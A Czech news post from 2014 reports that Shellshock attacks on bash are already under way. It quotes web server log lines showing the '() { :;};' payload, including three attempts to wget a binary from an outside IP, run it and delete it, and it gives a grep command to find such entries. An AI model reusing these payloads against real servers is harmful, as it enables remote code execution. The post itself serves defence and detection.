Hlavní navigace

Útoky na bash už běží

29. 9. 2014 10:00 (aktualizováno) | Petr Krčmář

Hodně se teď mluví o útoku na bash s názvem „shellshock“. Podle logů už běží útoky.

Ve středu jsme upozornili na chybu objevenou v bashi, která umožňuje spouštět vzdáleně terminálové příkazy a otevírá cestu k mnoha nepříjemnostem. Podrobnosti napsal výborně v pátek Ondřej Caletka, popsal celý problém a zmínil i možnosti zneužití.

Hodně se diskutuje o tom, jak moc je problém reálně zneužitelný, vzhledem k tomu, že vyžaduje dosti konkrétní podmínky konfigurace serveru (na rozdíl od staršího heartbleedu). Jisté ovšem jsou dvě věci: pokud je server děravý, potenciál je poměrně velký; útoky už běží.

Příklad z jednoho z mých serverů:

209.126.230.72 - - [25/Sep/2014:00:36:04 +0200] "GET / HTTP/1.0" 404 168 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

Tohle je test Roberta Grahama, o kterém psal i Ondra v článku. Tenhle je neškodný, ale horší je o tři dny mladší záznam:

70.42.149.67 - - [28/Sep/2014:08:16:29 +0200] "GET / HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
70.42.149.67 - - [28/Sep/2014:08:16:29 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
70.42.149.67 - - [28/Sep/2014:08:16:29 +0200] "GET /test HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"

Opakuje se tu třikrát stejný pokus, jen na různé cesty na serveru. Postup je ale vždy stejný: stáhni exploit, učiň ho spustitelným, spusť ho a smaž. Hotovo. Čistá práce. To je důkaz toho, že to někdo zkouší úplně vážně, takže nejde o planou hrozbu. Záplatujte si to, vážně.

Kromě toho jsou tu i další „neškodné“ testy, které jen zkouší, jestli to funguje nebo ne. Například:

54.251.83.67 - - [29/Sep/2014:07:34:31 +0200] "GET / HTTP/1.1" 404 168 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"

Pokud si chcete sami grepnout logy, hledejte následující sekvenci:

# grep '() {' /var/log/nginx/*

Pokud používáte logrotate a máte zagzipované starší logy, použijte místo grep příkaz zgrep.